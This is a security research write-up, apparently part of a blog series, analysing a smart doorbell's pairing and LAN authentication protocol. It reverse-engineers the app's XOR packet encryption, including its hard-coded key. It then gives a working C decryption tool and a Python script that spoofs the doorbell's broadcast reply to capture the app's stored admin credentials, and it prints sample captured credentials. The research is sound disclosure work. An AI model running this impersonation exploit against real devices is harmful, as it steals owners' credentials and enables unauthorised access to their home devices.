Smart Doorbell Security (Part 2) (Client credential theft)
Previously, we threat modelled the device and highlighted some primary concerns where I wanted assurance. In this part, we intend to inspect the protocol, authentication and pairing mechanism employed by the application and device.
The pairing mechanism
The doorbell’s pairing and authentication mechanisms are fairly odd, but not uncommon. For the initial pairing, the device’s associated Android application will prompt the user for wireless network credentials, which, provided the device hasn’t been previously paired and is awaiting said credentials, will be transmitted in sound-wave form to the listening device.
The authentication mechanism
Upon the device receiving wireless credentials, it will attempt to join the configured network and the application, residing on the same network, will login to the device and ask the user to set a password of at least eight characters. The application commits the device’s unique identifier (UID) and the set password to its local storage during this initial process for future reference.
With a secure password configured and saved, the application when launched in future will automatically authenticate with the device in order to update elements of the user interface.
Through traffic analysis discussed later, this authentication process at a high-level was found to be as follows, where most packets were encrypted using a custom algorithm:
- The Android application transmits an unencrypted UDP broadcast packet to the local subnet, asking which IP owns the earlier stored UID.
- The device responds with a broadcast of its own, this time encrypted, containing various information, including its IP address and UID.
- The application and device communicate directly with each-other at this point, with application attempting to authenticate with the device.
Below, we’ll highlight design flaws in this protocol before delving into the technical detail.
Exploiting protocol design flaws (the plan)
The astute reader may recognise a potential weakness in this protocol design. The application fails to authenticate the identity of the server responding to its broadcast, instead relying on the bespoke encryption of packets as a means to trust the responding device is in fact the expected device.
This common misconception allows us, with knowledge of the shared secret underpinning the bespoke encryption, to race the device where if we win, we obtain its credentials. The only caveats being that the client Android application must be opened and we must be connected to the same network as the application (in order to receive the broadcast).
Initial protocol review (in brief)
With the above noted, a brief overview of the protocol is warranted. With the device paired and attached to the local network, we can see the communication between the application and device that takes place upon launching the Android application.
The below filter is used to reduce the visible noise whilst capturing:
udp && !dns && !icmp && !ntp && ip.src != 192.168.1.254 && !ssdp && !mdns
For context, the devices were assigned the following IP addresses via DHCP:
- XBell device: 192.168.12.173
- Android application: 192.168.12.200
An example of sniffed broadcast and authentication traffic:
An example of encrypted packets:
Examining the packet encryption algorithm
Examining the encrypted packets in more detail, we see recurring patterns in some cases:
0000 54 a5 8c 0d 62 bd d8 d2 24 6d 09 2c ac ca ca de T¥..b½ØÒ$m.,¬ÊÊÞ
0010 b0 90 cf bb 30 f8 8c b6 61 41 3c 59 88 84 ae cd °.Ï»0ø.¶aA<Y..®Í
0020 04 a4 8c 0d 62 bc d8 d2 21 0c 6a b9 ec 9a fa d8 .¤..b¼ØÒ!.j¹ì.úØ
0030 04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8 .¤..b¼ØÒ$-I.ìÊÊØ
0040 04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8 .¤..b¼ØÒ$-I.ìÊÊØ
0050 04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8 .¤..b¼ØÒ$-I.ìÊÊØ
0060 04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8 .¤..b¼ØÒ$-I.ìÊÊØ
0070 62 65 49 20 beI
The recurring pattern towards the end of the data stream is indicative of XOR encoding and reverse engineering the Android application provides a more insightful view of the implementation.
Inspecting the decompiled Android application, we find the below:
The Connect() method spawns mThreadConnectDev where the run() method calls several further methods used to instantiate a connection:
public void run() {
this.mIsRunning = true;
Camera.this.isConected = false;
int i = 0;
while (this.mIsRunning && Camera.this.mSID < 0 && !Thread.interrupted()) {
DeviceStateCallbackInterface_Manager.getInstance().DeviceStateCallbackInterface(Camera.this.mDevUID, 0, 1);
int UBIC_GetDevLibVer = UBICAPIs.UBIC_GetDevLibVer(Camera.this.mDevUID);
Camera.this.ubia_UBICAPIs.p4plibver = UBIC_GetDevLibVer;
Camera.this.ubia_UBICAVAPIs.p4plibver = UBIC_GetDevLibVer;
Camera.this.nGet_SID = Camera.this.ubia_UBICAPIs.IOTC_Get_SessionID();
if (Camera.this.nGet_SID >= 0) {
Camera.this.mSID = Camera.this.ubia_UBICAPIs.IOTC_Connect_ByUID_Parallel2(Camera.this.mDevUID, Camera.this.nGet_SID, Camera.this.isCMBell());
Camera.this.nGet_SID = -1;
}
Inspecting the call implementations leads us to:
./com/my/IOTC/UBICAPIs.class:
public int IOTC_Connect_ByUID_Parallel2(String paramString, int paramInt1, int paramInt2)
{
return IOTCAPIs.UBIC_Connect_ByUID_Parallel2(paramString, paramInt1, paramInt2);
}
./com/ubia/IOTC/IOTCAPIs.class:
public static native int UBIC_Connect_ByUID(String paramString);
public static native int UBIC_Connect_ByUID2(String paramString1, String paramString2, int paramInt);
public static native int UBIC_Connect_ByUID_Parallel(String paramString, int paramInt);
public static native int UBIC_Connect_ByUID_Parallel2(String paramString, int paramInt1, int paramInt2);
public static native void UBIC_Connect_Stop();
public static native int UBIC_Connect_Stop_BySID(int paramInt);
[...]
The ‘libIOTCAPIs_ubia.so’ native library packaged with the application sounds like the most likely candidate to house the above methods and this can be confirmed via inspecting the exported symbols of the available native libraries:
$ readelf -Ws *.so | egrep -i "iotc|file"
[...]
File: libIOTCAPIs_ubia.so
17: 00004a48 28 FUNC GLOBAL DEFAULT 7 m1_log_file
239: 00018318 188 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Get_1Login_1Info
241: 000183d4 164 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Get_1Version
242: 00018478 96 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Set_1Max_1Session_1Number
243: 000184d8 512 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Initialize
244: 000186d8 252 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Initialize2
245: 000187d4 92 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1DeInitialize
246: 00018830 320 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Device_1Login
247: 00018970 104 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Listen
248: 000189d8 104 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Listen2
249: 00018a40 84 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Listen_1Exit
250: 00018a94 92 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Get_1SessionID
251: 00018af0 244 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Connect_1ByUID
252: 00018be4 276 FUNC GLOBAL DEFAULT 7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Connect_1ByUID2
[...]
Decrypting packets
Loading this library in IDA, the exported ‘UBIC_Connect_ByUID_Parallel2’ method lead us to an encryption routine via the below route of calls:
- UBIC_Connect_ByUID_Parallel2
- UBIA_Session_Init_Client_With_Sid
- send_LanSearch
- TransCode2
- Send_UdpData
The TranCode2() function is a clear encoding routine, performing an XOR operation alongside some simple shifting and swapping:
int __fastcall TransCode2(char *a1, int a2, void *a3, unsigned __int16 a4)
{
size_t n_2; // [sp+4h] [bp-20h]
int v6; // [sp+8h] [bp-1Ch]
char *src; // [sp+Ch] [bp-18h]
signed int v8; // [sp+14h] [bp-10h]
int v9; // [sp+18h] [bp-Ch]
signed int i; // [sp+1Ch] [bp-8h]
signed int j; // [sp+1Ch] [bp-8h]
src = a1;
v6 = a2;
n_2 = (size_t)a3;
v8 = a4;
v9 = 0;
memcpy(a3, a1, a4);
while ( v8 > 15 )
{
for ( i = 0; i <= 15; i += 4 )
DWORDbitshift(&src[v9 + i], v6 + v9 + i, (unsigned __int8)(i + 1), 0);
XOR(v6 + v9, n_2 + v9, 16, "I believe 1 ^ill win the battle!");
Swap(n_2 + v9, v6 + v9, 16);
for ( j = 0; j <= 15; j += 4 )
DWORDbitshift(v6 + v9 + j, n_2 + v9 + j, (unsigned __int8)(j + 3), 0);
v9 += 16;
v8 -= 16;
}
XOR(&src[v9], v6 + v9, (unsigned __int16)v8, "I believe 1 ^ill win the battle!");
return Swap(v6 + v9, n_2 + v9, (unsigned __int16)v8);
}
Further inspection of symbols leads us to a ‘ReverseTransCode2()’ function also, used to decrypt as opposed to encrypt.
Living off the land
Normally I’d re-implement encryption/decryption methods, but there really is no need when they’re exported via the application’s libraries. We can just load the symbol from the library and, using some trial and error and reverse engineering, formulate a valid call.
My code to this is fairly straightforward:
// Packet encryption/decryption via calling native methods
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
// example usage:
// adb shell /data/local/tmp/decrypt.o 04e69c6d62bdd8d2246d092ceccbcad406a4ec82628b7f54240d0900cccbcbea04a48c0d62bcd8d2226d7e1fecfccbd804a4cc0262887d56242d490ceccacad804a48c0d62bcd8d2206d7c1fecfecbd804a48c0d626cd840242d490ceccacad804a48cad62bcd8d260033c69fbf80eae04a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad8 D
// expected output:
// 04020400D000000007042100000000000300C40032030000290000006A6F7368756132370000000000000000000000000000000000000000000000004A4F53485541323500000000000000000000000000000000000000000000000000002D095247563261574E6C0A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
// thank you https://stackoverflow.com/questions/3408706/hexadecimal-string-to-byte-array-in-c
int convert_to_bytearray(const char *hex_str, unsigned char *byte_array, int byte_array_max)
{
int hex_str_len = strlen(hex_str);
int i = 0, j = 0;
// The output array size is half the hex_str length (rounded up)
int byte_array_size = (hex_str_len+1)/2;
if (byte_array_size > byte_array_max)
{
// Too big for the output array
return -1;
}
if (hex_str_len % 2 == 1)
{
// hex_str is an odd length, so assume an implicit "0" prefix
if (sscanf(&(hex_str[0]), "%1hhx", &(byte_array[0])) != 1)
{
return -1;
}
i = j = 1;
}
for (; i < hex_str_len; i+=2, j++)
{
if (sscanf(&(hex_str[i]), "%2hhx", &(byte_array[j])) != 1)
{
return -1;
}
}
return byte_array_size;
}
int main(int argc, char *argv[])
{
void *iotc_lib;
// prototypes
int (*ReverseTransCode2)(unsigned char *, unsigned char *, unsigned char *, unsigned int);
int *(*TransCode2)(unsigned char *, unsigned char *, unsigned char *, unsigned int);
if(argc != 3){
printf("Usage: %s encrypted_str_ascii_hex <E|D>\n", argv[0]);
return 1;
}
char *mode = argv[2];
if(strcmp(mode, "D") == 0 && strcmp(mode, "E") == 0){
printf("Invalid mode!\n");
return 1;
}
// open our library and resolve symbols
iotc_lib = dlopen("/data/data/cn.ubia.XBell/lib/libIOTCAPIs_ubia.so", RTLD_NOW);
if(iotc_lib != NULL){
*(void **)(&ReverseTransCode2) = dlsym(iotc_lib, "ReverseTransCode2");
*(void **)(&TransCode2) = dlsym(iotc_lib, "TransCode2");
if(ReverseTransCode2 == NULL || TransCode2 == NULL){
printf("Error loading symbols\n");
dlclose(iotc_lib);
return 1;
}
unsigned char buff[1024] = "";
int data_size = convert_to_bytearray(argv[1], buff, 1024);
if(data_size < 0)
{
printf("Failed to convert '%s'\n", argv[1]);
dlclose(iotc_lib);
return 1;
}
else if(data_size == 0)
{
printf("Nothing to convert for '%s'\n", argv[1]);
dlclose(iotc_lib);
return 1;
}
unsigned char *unknown = (unsigned char *)malloc((data_size * sizeof(unsigned char)) + 1);
unsigned char *out = (unsigned char *)malloc((data_size * sizeof(unsigned char)) + 1);
memset(unknown, 0x00, data_size);
memset(out, 0x00, data_size);
if(strcmp(mode, "D") == 0){
// decrypt and emit!
ReverseTransCode2(buff, unknown, out, data_size);
}else if(strcmp(mode, "E") == 0){
TransCode2(buff, unknown, out, data_size);
}
const int header_size = 0;
for(int i = header_size; i < data_size; i++)
printf("%02X", out[i]);
free(out);
free(unknown);
}else
printf("Library load failed\n");
dlclose(iotc_lib);
return 0;
}
Of course, this code must be cross-compiled for ARM, which is a simple process provided the prerequisite toolchain is in place. I created a toolchain to build for ARM as follows:
// create build chain
export NDK=$HOME/testing/xbell/packet_decryption/android-ndk-r18b
$NDK/build/tools/make_standalone_toolchain.py --arch arm --install-dir=/tmp/my-android-toolchain
export PATH="/tmp/my-android-toolchain/:/tmp/my-android-toolchain/bin/:$PATH"
export CC=arm-linux-androideabi-gcc
export ANDROID_SDK_ROOT=$HOME/tools/android-sdk-linux
$CC -o crypt.o crypt.c
Just like that, it’s now possible to encrypt and decrypt packet data using our crypt.o code!
Inspecting packet data
With the ability to encrypt and decrypt packets, we’re now in a position to analyse and respond to the broadcasts made by the Android application. With some trial and error of multiple authentication attempts, we can see the expected responses and pretend to be the device.
Initial broadcasts:
The client, when launched sends the following plain-text broadcast:
The server responds with an encrypted message:
This message when decrypted, contains an initial DWORD, likely to represent the protocol version or packet signature, followed by an unknown DWORD and our device UID:
Direct communication
Once the above has been broadcasted, the client initiates a direct connection with the server and sends a packet to establish a session. Decrypted, it contains the following data:
In textual form, we’ve the below:
04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
Inspection tells us this packet is most likely made up of:
- Initial version/signature DWORD
- Several unknown DWORDs or bytes
- Our 20-byte UID
- An unknown DWORD
- Padding bytes
The server then responds, echoing the packet with minor changes:
04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
Comparing the two side-by-side, these changes are apparent:
C: 04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
S: 04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
We see there are indeed very minor changes. Sending this results in the client sending us the following:
04 02 04 00 20 00 00 00 04 04 21 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 02 5F 87 EA 00 00 00 00 00 00 00 00
We see our UID, followed immediately by a random DWORD (02 5F 87 EA), likely a session identifier. This session identifier is included in the server’s response, alongside some other data, which then results in the client sending us authentication details. The following reply is sent:
04 02 04 00 14 00 00 00 28 04 12 00 00 00 00 56 02 5F 87 EA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
We then wilfully receive credentials (shown and decrypted below):
Winning the race
With the above understanding, racing the device is a quick-win for credentials and output of our automation is shown below:
Spawning ADB! Make sure a device is attached and ADB authorised!
Authorised device found! This will be used for crypto operations!
Listening for broadcast from XBELL!
Got broadcast! Scanning...
UID: VUVOFALVJ3JSEVDF2ZRQ
Src: 192.168.1.88 37536
Responding!
Responded to broadcast! Waiting for direct reply!
192.168.1.88 37536 is talking to us directly! Target acquired!
Received encrypted challenge response 1: 04e69c0d62bdd8d2246d092ceccacadab090cfbb30f88cb661413c598884aecd04a48c0d62bcd8d2e1096ab9d09af029
Decrypted response: 040204002000000001042100000000005655564F46414C564A334A5345564446325A525103CFA4D30000000000000000
Extracting variables #
UID: VUVOFALVJ3JSEVDF2ZRQ
SEQ: 03 cf a4 d3
Other: 01
Crafting payload!
Crafted response payload: 040204002000000002041200010000005655564f46414c564a334a5345564446325a525103cfa4d30000000000000000
Encrypted payload: 24E58C2D62BCC8D2246D092CECCACADAB090CFBB30F88CB661413C598884AECD04A48C0D62BCD8D2E1096AB9D09AF029
Sending encrypted payload!
Response: 04e69c4d62bcc8d2246d092ceccacadab090cfbb30f88cb661413c598884aecd04a48c0d62bcd8d2e1096ab9d09af029
Reply payload: 0402040014000000280412000000005603cfa4d300000000000000000000000000000000
Encrypted payload: 26E58C8D63BCDCB2246D092CACCBCAD804A48C0D62BCD8D2280D19F6EC18CBD862654920
Sending...
Decrypted response: 040204002400000007042100010000000100000061646D696E000000000000006A6F736875613838363600000000000000000000
Got credentials!
$!adminjoshua8866
Done! Happy hunting!
My implementation isn’t 100% complete, but demonstrates the concept:
import select
import socket
import subprocess
import struct
# Initial communication packet
# send to port: 53195
broadcast_port_1 = 32761
# Tell XBELL that we're the expected device!
# Decrypted message with UID:
# broadcast_mesg = "\x04\x02\x04\x00\x98\x00\x00\x00\x04\x06\x12\x00\x00\x00\x00\x00\x56\x55\x56\x4F\x46\x41\x4C\x56\x4A\x33\x4A\x53\x45\x56\x44\x46\x32\x5A\x52\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# for now, just send this static encrypted version with our known UID
broadcast_mesg_1 = "\x24\xc5\x8c\x4d\x62\xbc\xd8\xd2\x24\x6d\x09\x2c\x6c\xcb\xca\xd0" \
"\xb0\x90\xcf\xbb\x30\xf8\x8c\xb6\x61\x41\x3c\x59\x88\x84\xae\xcd" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x21\x0d\x6a\xb9\xec\x9a\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x76\x6c\x65\x62\x20\x65\x69\x49"
# make sure adb is spawned!
print "Spawning ADB! Make sure a device is attached and ADB authorised!"
adb = subprocess.check_output(['adb', 'devices'])
if 'device' not in adb:
print "No authorised Android device identified. Please attach a device and enable ADB!"
exit()
else:
print "Authorised device found! This will be used for crypto operations!"
print "Listening for broadcast from XBELL!"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, True)
s.bind(('0.0.0.0', broadcast_port_1))
s.setblocking(0)
while True:
s = select.select([s],[],[])
s = s[0][0]
data, client_addr_port = s.recvfrom(1024)
print "Got broadcast! Scanning...\n"
# we should receive a UID!
# Extract 20 chars
uid = data[0:20]
if(uid == "VUVOFALVJ3JSEVDF2ZRQ" or True):
print "\tUID: %s" % uid
print "\tSrc: %s %s" % (client_addr_port)
print "\tResponding!"
# Build broadcast to say we're this UID!
# ...
# broadcast a response for client (encrypted and with device UID)
# These are hard-coded and should be dynamically found, ideally!
s.sendto(broadcast_mesg_1, ("192.168.1.255", client_addr_port[1]))
s.sendto(broadcast_mesg_1, ("192.168.1.255", client_addr_port[1]))
s.sendto(broadcast_mesg_1, ("255.255.255.255", client_addr_port[1]))
s.sendto(broadcast_mesg_1, ("255.255.255.255", client_addr_port[1]))
s.close()
print "\tResponded to broadcast! Waiting for direct reply!"
# create a new blocking socket and bind to local interface!
# We intend the client to connect directly to us at this point!
socket_direct = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
socket_direct.bind(('192.168.1.79', broadcast_port_1))
socket_direct.setblocking(1)
# catch initial direct data
data, client_direct_addr = socket_direct.recvfrom(1024)
print ""
print "\t%s %s is talking to us directly! Target acquired!" % (client_direct_addr)
# get any remaining data off the wire
for i in range(1,2):
socket_data, client_direct_addr = socket_direct.recvfrom(1024)
encrypted_data = ''.join(x.encode('hex') for x in socket_data)
print "\tReceived encrypted challenge response %d: %s" % (i, encrypted_data)
# decrypt it, get sequence DWORD, store it for use in response
# returns ascii hex of supplied string
decrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', encrypted_data, "D"])
print "\tDecrypted response: %s" % decrypted_data
print "\tExtracting variables #"
decrypted_bytes = bytes(bytearray.fromhex(decrypted_data))
print "\tUID: %s" % decrypted_bytes[0x10:0x24]
print "\tSEQ: " + ' '.join(x.encode('hex') for x in decrypted_bytes[0x24:0x28])
print "\tOther: " + ' '.join(x.encode('hex') for x in decrypted_bytes[0x8:0x9])
# we echo the request back with minor changes
# ^ immutable strings... Excuse the ugliness
# build response:
# challenge 08 10 12
# 04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
# response
# 04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
#-------------
# More valid responses:
# 04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 12 44 06 0F 00 00 00 00 00 00 00 00
# 04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 12 44 06 0F 00 00 00 00 00 00 00 00
print ""
print "\tCrafting payload!"
resp_2 = b"" + decrypted_bytes[0:0x8] + "\x02" + decrypted_bytes[0x9:0xA] + "\x12" + decrypted_bytes[0xB:0xC] + "\x01" + decrypted_bytes[0xD:]
resp_2 = ''.join(x.encode('hex') for x in resp_2)
print "\tCrafted response payload: %s" % resp_2
# encrypt
encrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', resp_2, "E"])
print "\tEncrypted payload: %s" % encrypted_data
encrypted_bytes = bytes(bytearray.fromhex(encrypted_data))
# send response to client
print "\tSending encrypted payload!"
socket_direct.sendto(encrypted_bytes, client_direct_addr)
data, client_direct_addr = socket_direct.recvfrom(1024)
print "\tResponse (encrypted): " + ''.join(x.encode('hex') for x in data)
#--------------------------------------------
resp_2 = b"\x04\x02\x04\x00\x14\x00\x00\x00\x28\x04\x12" + decrypted_bytes[0xc:0x11] + decrypted_bytes[0x24:0x28] + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
resp_2 = ''.join(x.encode('hex') for x in resp_2)
print "\tReply payload: %s" % resp_2
# encrypt
encrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', resp_2, "E"])
print "\tEncrypted payload: %s" % encrypted_data
encrypted_bytes = bytes(bytearray.fromhex(encrypted_data))
# send response to client
print "\tSending..."
socket_direct.sendto(encrypted_bytes, client_direct_addr)
# recv!
for i in range(1,5):
credential_data, client_direct_addr = socket_direct.recvfrom(1024)
encrypted_data = ''.join(x.encode('hex') for x in credential_data)
# decrypt
decrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', encrypted_data, "D"])
print "\tDecrypted response: %s" % decrypted_data
if 'admin' in decrypted_data.decode("hex"):
print "\tGot credentials!"
print "\t" + decrypted_data.decode("hex")
break;
else:
print "Failure! Retrying..."
continue
break
print "Done! Happy hunting!"
exit;
What next…
In the next part of this series, we’ll examine the hardware attack surface of the device to determine whether wireless credentials are removed following removal of the device from the wall.